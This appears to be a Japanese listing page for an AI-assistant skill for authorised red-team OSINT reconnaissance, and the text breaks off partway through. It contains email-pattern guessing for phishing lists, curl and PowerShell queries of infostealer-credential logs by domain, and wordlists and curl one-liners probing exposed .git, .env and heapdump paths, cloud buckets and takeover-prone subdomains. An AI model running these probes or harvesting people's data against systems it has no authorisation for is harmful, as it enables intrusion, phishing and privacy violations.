offensive-osint について
許可を得た攻撃的 OSINT 偵察のための技術リファレンススキルです。一般的な方法論ではなく、セキュリティ担当者が具体的なツール、情報源、パターン、検索手順を選ぶ際に役立ちます。
主な機能
- 01厳選された OSINT ツール情報
- 02ユーザー名とメールの調査
- 03メール形式推定と収集の指針
- 04公開記録と企業情報の情報源
- 05漏えいデータの参照先
活用シーン
- 01許可済み偵察で使う情報源の選定
- 02メール収集ワークフローの構築
- 03公開記録を使った組織調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-osint --skill offensive-osintインストール後、Claude Code で/offensive-osintを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
README.mdscripts/h1_reference.pysecret_scan.py詳細
オフェンシブ OSINT — 外部レッドチーム向けアーセナル
関連スキル:
osint-methodology(「考え方」のスキル)。このスキルは「何を使うか」を示します。併せて使用してください。
0. 使用する場合/使用しない場合
このスキルを使用する場合:
- 具体的なプローブ経路、ワードリスト、正規表現、ペイロード、スコアリングルール、ツールの URL が必要な場合。
- 偵察を実施しており、方法論ではなく、実際の技術リファレンスが必要な場合。
- 偵察の自動化を構築しており、初期データとして投入する具体的なリストが必要な場合。
このスキルを使用しない場合:
- ユーザーが能動的なエクスプロイト、侵入後の活動、または偵察を超える内容を求めている場合。
- ユーザーが防御側/ブルーチーム向けの検知を求めている場合。
- 対象への許可が確認されていない場合 — §1 を参照してください。
1. 許可と法的な姿勢
オペレーターが所有する資産、または評価する書面による許可を得た資産を対象とします。未確認の第三者の対象に対して行動する前に、対象範囲を簡易確認してください。全体的な姿勢については、方法論スキルの §1 を参照してください。
2. 信頼度レベル
- TENTATIVE — 間接的な証拠に基づく妥当な推測(スニペットのみの dork 一致、単一ソースの資産、推定したメールアドレスのパターン)。
- FIRM — 直接観測済み(サブドメインが名前解決する、HEAD でバケットの存在を確認、バナーが返された)。
- CONFIRMED — 独立した裏付け、または直接検証によって確認済み(PMAK のリアルタイム検証、複数のソースが一致、オブジェクトを取得できるリスト可能なバケット)。
3. 出力形式の規約
検出結果には、id、module、asset_key、category、severity(info/low/medium/high/critical)、confidence、title、description、evidence(url + UTC タイムスタンプ + sha256 + 最大 2 KiB の raw データ)、references、remediation を含めてください。タイムスタンプはすべて UTC とします。
4. 情報源の管理と引用
すべてのアーティファクトに URL + UTC タイムスタンプ + SHA-256 + ツールのバージョン + run_id を記録してください。PNG スクリーンショット、JSONL の実行ログ、本文を最大 2 KiB に制限した HTTP 生データのキャプチャを使用してください。
5. 禁止事項
- 認証情報/個人識別情報(PII)/セッショントークンをクラウド LLM に貼り付けないでください。
- DEEP/
--aggressive以外では、破壊的なプローブを実行しないでください。 - 検証済みの認証情報は、読み取り専用の稼働確認以外に使用しないでください。
- 単一の情報源だけで属性を断定しないでください。
- ベンダーのラベルが事実であると決めつけないでください。
6. 一般的な OSINT(厳選したツールのリファレンス)
- OSINT ブックマーク — 包括的なブックマーク集。
- OSINT フレームワーク — ツール/リソースのディレクトリ。
- IntelTechniques ツール — 調査用スイート。
- Bellingcat ツールキット — 調査報道向け。
- CyberSudo OSINT ツールキット — OSINT ウェブサイトの一覧。
- Google Dorks — 効率的な Google 検索。
- Distributed Denial of Secrets — 漏えいしたデータセット。
- 国別のリソース — 国を対象とした OSINT。
7. 検索エンジン
| ツール | 備考 |
|---|---|
| Carrot2 | トピック別に検索結果を分類 |
| etools | メタ検索 |
| Kagi | プライバシー優先、パーソナライズなし |
| Brave Search | 独立したインデックス。カスタムランキングには Goggles を使用 |
| PDF Search | PDF と目次を検索 |
| Google Fact Check Explorer | 複数サイトにわたるファクトチェック |
8. ユーザー名とメールアドレスの調査
| ツール | 目的 |
|---|---|
| Sherlock | ソーシャルネットワーク全体でユーザー名を検索 |
| Maigret | ユーザー名からプロフィールを収集 |
| What's My Name | ユーザー名を検索 |
| Holehe | メールアドレスの登録状況を確認 |
| Epieos | メールアドレスを起点とした調査とメタデータ |
| OSINT Industries | メールアドレス/ユーザー名/電話番号を検索 |
| Hunter.io | ドメイン → メールアドレス |
| EmailRep | メールアドレスの評判 |
| Emailable | メールアドレスの検証 |
| Mugetsu | X/Twitter のユーザー名履歴 |
| RocketReach / Apollo | メールアドレスの情報補完とパターン推測 |
| PhoneInfoga | 電話番号インテリジェンス |
ブラウザー拡張機能:GetProspect、SignalHire。
9. 人物検索
- TruePeopleSearch — 米国の人物を無料で検索できます。
- WhitePages、Spokeo、Webmii、Pipl(有料)。
- Clearbit — 企業/個人データを補完します。
- FaceCheck / FaceSeek — 顔の逆画像検索。
10. 電話番号の OSINT
- TrueCaller — 発信者 ID とスパムブロック。
- ThatsThem — 電話番号の逆引き検索。
- Infobel — 米国以外の電話番号検索。
- FreeCarrierLookup — 通信事業者/種別(米国)。
- NumlookupAPI [フリーミアム] — 通信事業者をプログラムから確認できます。
- CallerIDTest、Advanced Background Checks。
11. メールアドレスパターンの推定(暫定候補)
(first_name, last_name, domain) を指定すると、情報漏えいデータの事前照合、フィッシングリストの作成、後続の情報補完に使える候補アドレスを 8 件生成します。裏付けが取れるまでは、信頼度を 暫定 としてください。
{first}.{last}@{domain} # [email protected]
{first}{last}@{domain} # [email protected]
{first}@{domain} # [email protected]
{first[0]}{last}@{domain} # [email protected]
{first}.{last[0]}@{domain} # [email protected]
{last}@{domain} # [email protected]
{first}_{last}@{domain} # [email protected]
{first}-{last}@{domain} # [email protected]
検索前に小文字に変換してください。ASCII 文字へのフォールバック用に、ダイアクリティカルマークを除去してください。組織で既知のパターンが使われている場合(例:Hunter.io で {first}.{last} が主流と示される場合)、そのパターンを優先し、信頼度を「確定」としてください。
12. メールアドレス収集のソース構成
6 つのソースを並行して使用し、最後に重複を除去します。
- IntelX phonebook API — 2 段階の検索とポーリング。情報漏えい発生時期のアドレスを単一のソースとして最も多く収集できます。
- Hunter.io — ドメイン検索エンドポイント。無料枠は月約 25 回です。検証済みメールアドレスと役職を返します。
- crt.sh — X.509 の SAN 拡張を抽出します。多くの証明書には管理者/連絡先のメールアドレスが含まれます。
- DuckDuckGo SERP スクレイピング —
"{target-domain}"の検索結果を HTML からスクレイピングします。 - Bing SERP スクレイピング — 同じクエリを使い、補完的なインデックスを検索します。
- Wayback CDX — 対象サイトのホームページ/連絡先/概要ページの過去のスナップショットには、現在のサイトから削除されたメールアドレスが含まれていることがよくあります。
メールアドレスの正規表現:
\b[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}\b
ノイズフィルター(ローカル部が数字のみのものを除外):
^[0-9]+$
(ランダムなトークンから生成された [email protected] のような不要なアドレスを除外します。)
13. ソーシャルメディア
| プラットフォーム | ツール |
|---|---|
| Picuki — アカウントなしでプロフィールを閲覧 | |
| X/Twitter | snscrape — 推奨の CLI スクレイパー。代替手段は Twint |
| Graph Search、sowsearch.info、lookup-id.com、whopostedwhat.com | |
| Facebook(調査) | Meta Content Library — CrowdTangle の後継(研究者限定) |
| YouTube/Twitch | Social Blade — 分析 |
| TikTok | Tokboard — トレンドとプロフィール分析 |
| Reveddit — 削除されたコンテンツ。RedTrack.social — ユーザー履歴 | |
| Bluesky | Firesky — リアルタイムのファイアホース。SkyView — フォロワーグラフ |
| Mastodon | FediSearch — インスタンス横断検索。Fedifinder — Mastodon 上の Twitter ユーザーを検索 |
| 顔 | Search4Faces |
14. 公開記録と企業情報
- OpenCorporates — 世界最大のオープン企業データベースです。
- SEC EDGAR — 米国企業の提出書類です。
- OpenOwnership Register — 実質的所有者情報です。
- MuckRock — FOIA リポジトリと請求追跡です。
- EU Tenders (TED) — EU の調達公告です。
- World Bank Projects — プロジェクトと調達の記録です。
- UK Companies House — 英国企業、役員、提出書類です。
14.1 RU 登記情報
Rusprofile、Kontur.Focus(フリーミアム)、zakupki.gov.ru(調達)、EGRUL/EGRIP(公式、CAPTCHA による制限あり)。
14.2 CN 登記情報 + USCC + ICP
- GSXT — gsxt.gov.cn 国家企業信用情報。Tianyancha / Qichacha と相互照合します。
- USCC(統一社会信用コード) — CN のすべての法人に割り当てられる 18 文字の事業体 ID です。形式:
<region:6><authority:2><type:1><serial:9>。GSXT の記録と ICP 登録を結び付ける際に役立ちます。 - ICP Beian — beian.miit.gov.cn — 中国本土でトラフィックを提供するすべてのドメインは ICP 登録が必要です。この登録によってドメインが USCC に結び付き、さらに USCC を通じて GSXT の法人に結び付きます。
- ワークフロー:
target.cnドメイン → ICP 検索 → USCC → GSXT → 事業体名 + 役員 + 近接する登録事業体。
14.3 制裁とコンプライアンス
- OFAC SDN List、EU Sanctions Map。
- OpenSanctions — 集約データです。
- OCCRP Aleph — 調査文書、流出情報、企業記録です。
15. 漏えい・流出データ
- Have I Been Pwned — 漏えい検索。Pwned Passwords API(k-匿名性)。
- Dehashed — 認証情報検索(有料)。
- IntelX — データインテリジェンス。
- LeakCheck、Snusbase、BreachDirectory、Scattered Secrets、Phonebook、LeakPeek。
- Cavalier (Hudson Rock) — インフォスティーラーのログ検索。無料。企業の SSO で侵害された従業員の認証情報を見つけるうえで、単一ソースとして最も高い ROI を実現します。
15.0.1 HudsonRock Cavalier — 直接 API を使う手順
ウェブ UI は認証不要の公開 JSON APIをラップしています。API に直接アクセスします。
# By domain (canonical first call)
curl -sk -m 30 "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-domain?domain=target.com" | jq .
# By email (single-account check)
curl -sk -m 30 "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/[email protected]" | jq .
# By URL (when target's app is the breach victim)
curl -sk -m 30 "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-url?url=https://app.target.com" | jq .
PowerShell:
$hr = Invoke-RestMethod -Uri "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-domain?domain=$D" -TimeoutSec 30
"Employees: $($hr.employees) | Users: $($hr.users) | Third-party: $($hr.third_parties) | Total: $($hr.total)"
$hr.data.employees_urls | Sort-Object -Property occurrence -Descending | Select-Object -First 20
$hr.data.clients_urls | Sort-Object -Property occurrence -Descending | Select-Object -First 15
JSON のトップレベルフィールド:
total— このドメインに関連するスティーラーのエントリー総数です。totalStealers— スティーラーのログ全体の規模です(参考情報のみ)。employees— 見つかった<*>@<domain>アカウントの数です。users— ドメインが アクセス先 URL として出現したアカウントの数です(顧客/ベンダー)。third_parties— 組織内の隣接ドメインに関連するアカウントです。data.employees_urls[]—{occurrence, type, url}— 盗難時に従業員がログインしていた社内アプリです。ここにあるサブドメインのヒットは偵察に役立つ重要情報です。data.clients_urls[]— 同じ形式の、ユーザー向けアプリです(文書化されていない公開ポータルが見つかることがよくあります)。data.stealer_families[]—{_key, _value}→ スティーラーの種類(RedLine / Lumma / StealC / Vidar / Raccoon)です。data.dates_compromised[]—{_key, _value}→ 時系列の分布です。
無料プランの注意事項(必ず確認してください):
data.*_urls[]に含まれるサブドメインのホスト名は、最初の数件を超えるとアスタリスクで伏せられます(*****.target.com)。伏せられていない情報を得るには、有料の Cavalier プランまたは他の情報源を利用してください。- 無料エンドポイントが返すのは件数とサンプル URL のみです。平文のパスワードとメールアドレスは、無料レスポンスには含まれません。
- レート制限は約 1 リクエスト/秒/IP です。連続してリクエストすると 429 が返されます。呼び出しの間に 1 秒待機してください。
- 伏せられていない認証情報と一括列挙を利用するには、有料の Cavalier ポータルを使用してください。
重大度のマッピング(§15.1 および §15.2 に従う): employees ≥ 10 → CRITICAL。侵害されたサービスが現在も稼働しているかどうかは問いません(旧式の Lotus Domino/オンプレミスメールを廃止し、クラウド SSO に移行している場合、従業員はほぼ確実にパスワードを使い回しているため、SSO_EXPOSURE は CRITICAL に引き上げられます)。
15.1 ドメインレベルの侵害重大度マッピング
ドメインで侵害コーパスを検索した場合は、結果を次のように重大度へマッピングします。
| 統計 | 重大度 |
|---|---|
| 侵害された従業員が 10 人以上 | CRITICAL |
| 侵害された従業員が 1~9 人 | HIGH |
| 侵害されたエンドユーザー(従業員以外)が 1 人以上 | MEDIUM |
| 侵害コーパスにドメインがあるが、特定できるアカウントは 0 件 | INFO |
**従業員とエンドユーザーの区別:**従業員アカウントは <anything>@<target-domain> です(侵害の被害者は対象組織の従業員です)。エンドユーザーアカウントはパスワードを使い回した対象組織の顧客です。認証情報スタッフィングのリスク把握には役立ちますが、対象組織のアイデンティティ基盤を直接侵害するものではありません。
15.2 SSO_EXPOSURE の検出結果
検出された SSO テナント(Entra GUID / Okta slug / Google Workspace domain)が、そのドメインの侵害コーパスと一致する場合は、重大度が CRITICAL の SSO_EXPOSURE 検出結果を作成します。証拠には、テナント ID、製品、従業員数、アカウントごとの出典を含めます。
旧式メールの廃止パターン(価値の高いバリエーション):
mail.<domain> / webmail.<domain> が現在 NXDOMAIN を返す一方で、HudsonRock/HIBP コーパスにそのドメインに対する過去の従業員認証情報が残っており、さらに autodiscover.<domain> が Microsoft の IP アドレス(M365)または aspmx.l.google.com の MX(Workspace)に解決される場合、その組織はオンプレミスからクラウドへ移行しています。パスワードの使い回しにより、盗まれたパスワードはほぼ確実に移行後も有効です。旧式ホストが停止していても、重大度を CRITICAL に引き上げ、SSO_EXPOSURE とします。
具体的な判定条件(次の 3 つすべて):
Resolve-DnsName mail.<domain> -Type A→ NXDOMAIN(旧環境は廃止済み)- HudsonRock コーパスに旧ホストに対する従業員 URL がある(例:Lotus Domino の
mail.<domain>/names.nsf、Exchange のmail.<domain>/owa/、iNotes のmail.<domain>/iwaredir.nsf、Zimbra のmail.<domain>/zimbra/) - 現在の MX → M365/Google Workspace/Zoho クラウド(DNS で移行を確認)
証拠一式:テナント GUID + 侵害件数 + コーパスからの旧式 URL 3 件以上 + autodiscover の Microsoft IP アドレス + 現在の MX。パスワードの強制変更、MFA の監査、Conditional Access のレビューを推奨します。
16. 事前構築済みワードリストとプローブパス
コピー&ペーストして使える一覧です。該当するものには重大度を注記しています。
16.1 Swagger / OpenAPI の検出 — 28 パス
稼働中の各 Web アプリで、すべてのパスを確認します。GET を使用します(レート制限がある場合は HEAD を使用します)。
swagger.json
swagger.yaml
swagger/v1/swagger.json
swagger/v2/swagger.json
swagger-ui.html
swagger-ui/
swagger-resources
api-docs
api-docs.json
api/swagger
api/swagger.json
api/swagger-ui.html
api/v1/swagger.json
api/v2/swagger.json
api/v3/api-docs
v2/api-docs
v3/api-docs
openapi.json
openapi.yaml
openapi/v1
openapi/v3
docs
redoc
rapidoc
api/docs
api/documentation
.well-known/openapi
深刻度:
- 認証なしで Swagger / OpenAPI 仕様にアクセス可能 → HIGH
LEAKY_API_SPEC(エンドポイントの全容が漏洩します。文書化されていない内部 API が明らかになることもよくあります)。 - 認証が必要だが、認証済みのユーザーなら誰でもアクセス可能 → MEDIUM(それでも内部 API の構成が開示されます)。
16.2 GraphQL の検出 — 13 パス
graphql
graphiql
api/graphql
v1/graphql
v2/graphql
query
api/query
gql
altair
playground
subscriptions
graphql/console
api/v1/graphql
標準的なイントロスペクション用 POST 本文:
{
"operationName": "IntrospectionQuery",
"query": "query IntrospectionQuery { __schema { types { name kind fields { name type { name kind } } } queryType { name } mutationType { name } subscriptionType { name } } }"
}
深刻度:
- 認証なしでイントロスペクションからスキーマを取得可能 → HIGH
OPEN_GRAPHQL_API。 - フィールド候補の列挙が可能(フィールド名の誤記に対してサーバーが「もしかして」と候補を返す)→ MEDIUM(イントロスペクションが無効でも部分的なスキーマを再構築できます)。
/graphqlがバッチクエリ([...]リクエスト本文)を受け付ける → MEDIUM(レート制限の回避につながる可能性があり、バッチ内のリクエストを混在させることで認証を回避できる場合があります)。
UI の目印(深刻度は低いものの、検出可能です):
- HTML レスポンスに
graphiql、playground、apollo studio、altairが含まれる → GraphiQL UI が公開されています(本番環境に誤ってデプロイされることがよくあります)。
16.3 高リスクポート — 35 サービス
オープンポートごとに、以下の重大度と「攻撃者にとって重要な理由」を含む検出結果を出力してください。オープンポートの観測元としては、Shodan InternetDB(無料、1 秒あたり 1 リクエスト)から始めることを推奨します。
| ポート | サービス | 重大度 | 重要な理由 |
|---|---|---|---|
| 21 | FTP | HIGH | 匿名読み取りが有効な場合が多く、認証情報が平文で送信されます。 |
| 22 | SSH | LOW | バナーからバージョンが漏えいします。ブルートフォース攻撃の対象になります。 |
| 23 | Telnet | HIGH | 通信が平文のプロトコルです。決して公開すべきではありません。 |
| 25 | SMTP | LOW | オープンリレーのリスクがあります。バナーからバージョンが分かります。 |
| 53 | DNS | LOW | 再帰問い合わせは DDoS の増幅要因になります。AXFR が利用される可能性があります。 |
| 80 | HTTP | INFO | 標準です。 |
| 110 | POP3 | LOW | STARTTLS がない場合、通信が平文です。 |
| 111 | rpcbind | MEDIUM | NFS エクスポートを列挙できます。 |
| 135 | MS RPC | HIGH | Impacket による列挙が可能です。 |
| 139 | NetBIOS-SSN | HIGH | ファイル/プリンターを列挙できます。 |
| 143 | IMAP | LOW | STARTTLS がない場合、通信が平文です。 |
| 161 | SNMP | HIGH | コミュニティ文字列に public/private が使われている場合が多く、デバイス全体を列挙できます。 |
| 389 | LDAP | HIGH | 匿名バインドにより、ディレクトリー全体をダンプできます。 |
| 443 | HTTPS | INFO | 標準です。 |
| 445 | SMB | CRITICAL | EternalBlue、SMB リレー、匿名共有のリスクがあります。 |
| 465 | SMTPS | LOW | バナーが表示されます。 |
| 514 | rsyslog | MEDIUM | ログインジェクション/DoS のリスクがあります。 |
| 587 | SMTP-MSA | LOW | バナーが表示されます。 |
| 631 | IPP/CUPS | MEDIUM | プリントサーバーを列挙できます。古い CUPS では RCE のリスクがあります。 |
| 873 | rsync | HIGH | モジュールを一覧表示できる場合が多く、バックアップデータが漏えいする可能性があります。 |
| 1433 | MSSQL | HIGH | ブルートフォース攻撃の対象になります。xp_cmdshell のリスクがあります。 |
| 1521 | Oracle TNS | HIGH | ブルートフォース攻撃の対象になります。SID を列挙できます。 |
| 2049 | NFS | HIGH | すべてのユーザーが読み取り可能なエクスポートのリスクがあります。 |
| 2375 | Docker API(暗号化なし) | CRITICAL | 認証なしでコンテナー/ホストを乗っ取られる可能性があります。 |
| 2376 | Docker API(TLS) | HIGH | 証明書検証を回避されるリスクがあります。 |
| 3000 | 一般的な開発用/Grafana | MEDIUM | Grafana/Express の開発用サーバーが使われていることが多く、デフォルトの認証情報が残っている場合があります。 |
| 3306 | MySQL | HIGH | ブルートフォース攻撃の対象になります。デフォルトの root:"" が使われている場合があります。 |
| 3389 | RDP | CRITICAL | BlueKeep/DejaBlue/NLA バイパスのリスクがあります。 |
| 5432 | PostgreSQL | HIGH | ブルートフォース攻撃の対象になります。デフォルトの postgres:postgres が使われている場合があります。 |
| 5601 | Kibana | HIGH | 認証がない場合が多く、Elasticsearch への侵入経路になる可能性があります。 |
| 5900 | VNC | HIGH | 認証がないか、弱いパスワードが使われている場合が多くあります。 |
| 5984 | CouchDB | HIGH | デフォルトでは認証がなく、管理者権限が開放されている場合があります。 |
| 6379 | Redis | CRITICAL | デフォルトでは認証がありません。SSH 用の authorized_keys を書き込めます。 |
| 7001 | WebLogic | HIGH | CVE が頻繁に発見されています(CVE-2020-14882 など)。 |
| 8000 | 一般的な開発用 | MEDIUM | Django などの一般的な開発用サーバーが使われています。 |
| 8080 | HTTP-alt | MEDIUM | Tomcat、Jenkins、一般的なプロキシが使われています。 |
| 8443 | HTTPS-alt | MEDIUM | 8080 と同様です。 |
| 8888 | 一般的な開発用/Jupyter | HIGH | Jupyter が対話型シェルを公開している場合が多くあります。 |
| 9090 | Cockpit/Prometheus | HIGH | サーバー管理 UI/メトリクスのスクレイピングに使用されます。 |
| 9200 | Elasticsearch | CRITICAL | 通常、認証がありません。 |
| 9300 | Elasticsearch transport | HIGH | クラスターへの参加や RCE のリスクがあります。 |
| 11211 | memcached | MEDIUM | UDP による DDoS 増幅やデータダンプのリスクがあります。 |
| 27017 | MongoDB | CRITICAL | デフォルトでは認証がありません。 |
| 50070 | Hadoop NameNode | HIGH | HDFS を参照できます。 |
Shodan InternetDB がポートに対して vulns[] を返した場合は、検出結果の重大度を 1 段階引き上げ、証拠に CVE の一覧を含めてください。
16.4 不足しているセキュリティヘッダー — 6 件の検出結果
稼働中のすべての Web アプリについて、レスポンスヘッダーを監査してください。以下のヘッダーが 1 つ欠けるごとに、検出結果を 1 件出力してください。
| ヘッダー | 重大度(デフォルト) | 重大度(機密性の高いパス) | 備考 |
|---|---|---|---|
Strict-Transport-Security | MEDIUM | HIGH | 機密性の高いパス:/login、/signin、/sso、/admin、/auth。 |
Content-Security-Policy | MEDIUM | MEDIUM | XSS の影響を緩和できません。 |
X-Frame-Options | LOW | LOW | クリックジャッキングのリスクがあります。(CSP の frame-ancestors が最新の代替手段です。) |
X-Content-Type-Options | LOW | LOW | MIME スニッフィングによる XSS のリスクがあります。 |
Referrer-Policy | INFO | INFO | 外部リンク先への情報漏えいを防ぎます。 |
Permissions-Policy | INFO | INFO | 機能ポリシーを強化します。 |
16.5 常時実行する HTTP チェック — 15 パス
Nuclei が利用可能かどうかにかかわらず、応答のあるすべての Web アプリに対して実行します。低コストで、シグナルの品質が高いチェックです。
| パス | 検出内容 | 深刻度 | 判定ロジック |
|---|---|---|---|
/.git/config | .git リポジトリの露出 | CRITICAL | 本文に [core]、[remote、repositoryformatversion のいずれかが含まれる |
/.git/HEAD | .git/HEAD の露出 | HIGH | 本文が ^ref:\s に一致する |
/.env | .env の露出 | CRITICAL | 複数行正規表現 ^\s*[A-Z_][A-Z0-9_]*\s*= |
/server-status | Apache server-status | MEDIUM | 本文に Apache Server Status または一致するタイトルが含まれる |
/server-info | Apache mod_info | MEDIUM | 本文に Apache Server Information が含まれる |
/.DS_Store | .DS_Store の露出 | LOW | バイト署名 \x00\x00\x00\x01Bud1 |
/phpinfo.php | phpinfo() の情報漏えい | HIGH | 本文に phpinfo()、PHP Version、または一致するタイトルが含まれる |
/info.php | phpinfo()(別パス) | HIGH | 上記と同じ |
/actuator/env | Spring Boot /actuator/env | CRITICAL | 本文に "propertySources"、systemProperties、systemEnvironment のいずれかが含まれる |
/actuator/heapdump | Spring Boot のヒープダンプ | CRITICAL | HPROF マジックバイト、または大きなバイナリのダウンロード |
/_cat/indices | Elasticsearch の公開 | HIGH | インデックス一覧が返される |
/console | Jenkins スクリプトコンソール | HIGH | 本文に Jenkins/Script Console のいずれかが含まれる |
/manager/html | Tomcat Manager | HIGH | 本文に Tomcat Web Application Manager が含まれる |
/wp-admin/install.php | 放置された WP インストール | LOW | 本文に WordPress Installation が含まれる |
/.well-known/security.txt | 情報開示ポリシー情報 | INFO | 連絡先とポリシーのフィールドを解析する |
さらに、/robots.txt の Disallow: パスを解析します。それらを、そのターゲット用の次の段階のワードリストにします。
16.6 SAML メタデータ — 5 パス
/saml/metadata
/FederationMetadata/2007-06/FederationMetadata.xml
/federationmetadata/2007-06/federationmetadata.xml
/simplesaml/saml2/idp/metadata.php
/auth/saml2/metadata
アクセス可能な SAML メタデータ XML から、EntityID、署名証明書(ピン留めされていることが多く、証明書再利用のピボットになります)、SingleSignOnService URL、NameIDFormat が明らかになります。MISCONFIG としてマークします(深刻度は LOW。ただし、メタデータから内部ホスト名または非公開証明書が漏れる場合は MEDIUM)。
16.7 SSO サブドメインのプレフィックス — 8 プレフィックス
ルートドメインと、すべての兄弟ブランドドメインに対して、それぞれをプローブします。
auth.{domain}
login.{domain}
sso.{domain}
idp.{domain}
iam.{domain}
identity.{domain}
accounts.{domain}
oauth.{domain}
さらに、応答のあるすべてのサブドメインで、プレフィックスにかかわらず /.well-known/openid-configuration をプローブします。
16.8 クラウドバケットの順列候補
6 個のプレフィックス:
"" # bare candidate
backup-
assets-
static-
dev-
prod-
15 個のサフィックス:
"" # bare candidate
-backup
-assets
-static
-media
-data
-uploads
-dev
-prod
-staging
-logs
-private
-public
-dump
-archive
47 個の汎用語幹(ターゲットを特定するトークンと組み合わせない限り除外):
www, mail, email, app, apps, web, webmail, ftp, cdn, static, assets, media, img, images,
videos, download, downloads, upload, uploads, data, files, docs, support, help, kb,
blog, news, dev, test, staging, stg, qa, uat, sandbox, preprod, preview, vpn,
mx, smtp, imap, pop, dns, ns, ns1, ns2, mx1, mx2
プロバイダーの URL テンプレート:
S3:
https://{candidate}.s3.amazonaws.com/
https://{candidate}.s3-{region}.amazonaws.com/ # try us-east-1, us-west-2, eu-west-1, ap-southeast-1 first
https://s3.{region}.amazonaws.com/{candidate}/
GCS:
https://{candidate}.storage.googleapis.com/
https://storage.googleapis.com/{candidate}/
Azure Blob:
https://{candidate}.blob.core.windows.net/
プローブ手法: 最初に HEAD を実行します → 200/301 = 存在、403 = 非公開で存在、404 = スキップ。存在する場合は、ルートに GET を実行します → XML/JSON のオブジェクト一覧が返される場合は、CRITICAL PUBLIC_CLOUD_BUCKET。直接 URL によるオブジェクトの読み取りは可能だが一覧表示できない場合は、HIGH PUBLIC_CLOUD_BUCKET_OBJECT_READ。
16.9 エンドポイント検出用 JS 推測パス
応答のあるすべての Web アプリで、以下のパスをプローブします(スクレイピングで見つかった <script src=...> に加えて実行)。
/main.js
/app.js
/bundle.js
/runtime.js
/index.js
/vendor.js
/_next/static/_buildManifest.js
/_next/static/_ssgManifest.js
/static/js/main.js
/static/js/bundle.js
/assets/index.js
/static/js/main.<hash>.js # try hash discovery via 404 patterns
見つかったすべての JS について、ソースマップの漏えいを確認するため <jsfile>.map も試します(HIGH INFO_DISCLOSURE)。
16.10 エンドポイント抽出正規表現の段階
3 段階に分け、すべての JS 本文とすべての sourcesContent[] blob に対して順番に実行します。
Tier 1 — 汎用の引用符付きパス:
['"`](/[A-Za-z0-9_\-./{}\[\]?=&%:]+)['"`]
一致グループ:パス。再現率は高いものの、誤検出も多いため、後段で許可リストを適用してください。
Tier 2 — API らしいパス(Tier 1 を偏りのあるフィルターに通したもの):
['"`](/(?:api|graphql|gql|v\d+|swagger|openapi|rest|services|internal|admin|auth|oauth|user|users|account|accounts|search|export|upload|file|files|download|webhook|hooks|callback|admin)/[A-Za-z0-9_\-./{}\[\]?=&%:]+)['"`]
Tier 3 — 完全修飾 URL:
\bhttps?://[A-Za-z0-9.\-]+\.[A-Za-z]{2,}(?::\d+)?[/A-Za-z0-9_\-./{}\[\]?=&%:#]*
(method, normalized-path-template) で重複を排除します。テンプレートでは、/123/ を /{id}/ のように置換します。
16.11 内部ホスト漏えいの正規表現
すべての JS 本文、sourcesContent、APK 文字列、マニフェストに対して実行します。
RFC1918:
\b(?:10\.(?:\d{1,3}\.){2}\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.(?:\d{1,3})\.(?:\d{1,3})|192\.168\.(?:\d{1,3})\.(?:\d{1,3})|127\.(?:\d{1,3}\.){2}\d{1,3})\b
内部 DNS サフィックス:
\b[A-Za-z0-9][A-Za-z0-9\-]{0,62}\.(?:internal|corp|lan|intranet|local|prod|staging|dev|qa|test)\b
Kubernetes サービス DNS:
\b[A-Za-z0-9\-]+\.[A-Za-z0-9\-]+\.svc(?:\.cluster\.local)?\b
一致するたびに MEDIUM INFO_DISCLOSURE とします。ホストごとに集約し、同じ内部サブドメインに多くの一致がある場合、将来の内部フェーズに向けた偵察の手がかりになります。
16.12 サブドメイン乗っ取りプロバイダーのフィンガープリント(概要、27 プロバイダー)
以下の CNAME ターゲットと、それに対応する「取得可能」レスポンスのシグネチャに注意してください。
| プロバイダー | CNAME パターン | 乗っ取りシグネチャ |
|---|---|---|
| GitHub Pages | *.github.io | There isn't a GitHub Pages site here. |
| Heroku | *.herokuapp.com | No such app |
| AWS S3 | *.s3*.amazonaws.com | NoSuchBucket |
| AWS CloudFront | *.cloudfront.net | 特定の X-Amz エラーを伴う Bad request |
| Azure(複数) | *.azurewebsites.net、*.blob.core.windows.net、*.cloudapp.net、*.trafficmanager.net | 製品ごとに異なる 404 パターン |
| Shopify | shops.myshopify.com | Sorry, this shop is currently unavailable. |
| Squarespace | *.squarespace.com | No Such Account |
| Tumblr | *.tumblr.com | Whatever you were looking for doesn't currently exist. |
| WordPress | *.wordpress.com | Do you want to register *.wordpress.com? |
| Fastly | さまざま | Fastly 固有の 404 |
| Pantheon | *.pantheonsite.io | The gods are wise, but do not know of the site... |
| Surge.sh | *.surge.sh | project not found |
| Bitbucket Pages | *.bitbucket.io | リポジトリが見つかりません |
| Tilda | *.tilda.ws | Please renew your subscription |
| Strikingly | *.s.strikinglydns.com | PAGE NOT FOUND |
| Smartling | *.smartling.com | ドメインが設定されていません |
| Ngrok | *.ngrok.io | トンネルが見つかりません |
| Webflow | *.webflow.io | サイトが見つかりません |
| Zendesk | *.zendesk.com | Help Center Closed |
| Cargo | *.cargocollective.com | 404 Not Found(Cargo のブランド表示あり) |
| Statuspage | *.statuspage.io | 見つかりません |
| Intercom | *.intercom.help | 見つかりません |
| Helpjuice | *.helpjuice.com | 見つかりません |
| Helpscout | *.helpscoutdocs.com | 見つかりません |
| Tictail | *.tictail.com | 見つかりません |
| Brightcove | *.brightcovegallery.com | 見つかりません |
| Smugmug | さまざま | 見つかりません |
プロバイダーごとの詳細な検出シグネチャやエッジケースについては、最新のフィンガープリントデータベースを取得したうえで、SubdomainX または Subzy/Subjack を使用してください。
16.13 コピー&ペースト用プローブ(curl のワンライナー)
§16.1~16.12 の各プローブパスに、実行可能な curl コマンドを用意しています。デフォルト値:-sk(サイレント+TLS エラーを無視)、-m 10(最大 10 秒)、-o /tmp/r(レスポンス本文をディスクに保存)、-w '%{http_code}\n'(ステータスコードを出力)、-A "Mozilla/5.0"(UA — ペルソナに応じて変更してください)。
常時実行する HTTP チェック(§16.5):
T="https://target.example"
# .git/config (CRITICAL)
curl -sk -m 10 "$T/.git/config" | grep -E '\[core\]|\[remote|repositoryformatversion'
# .git/HEAD (HIGH)
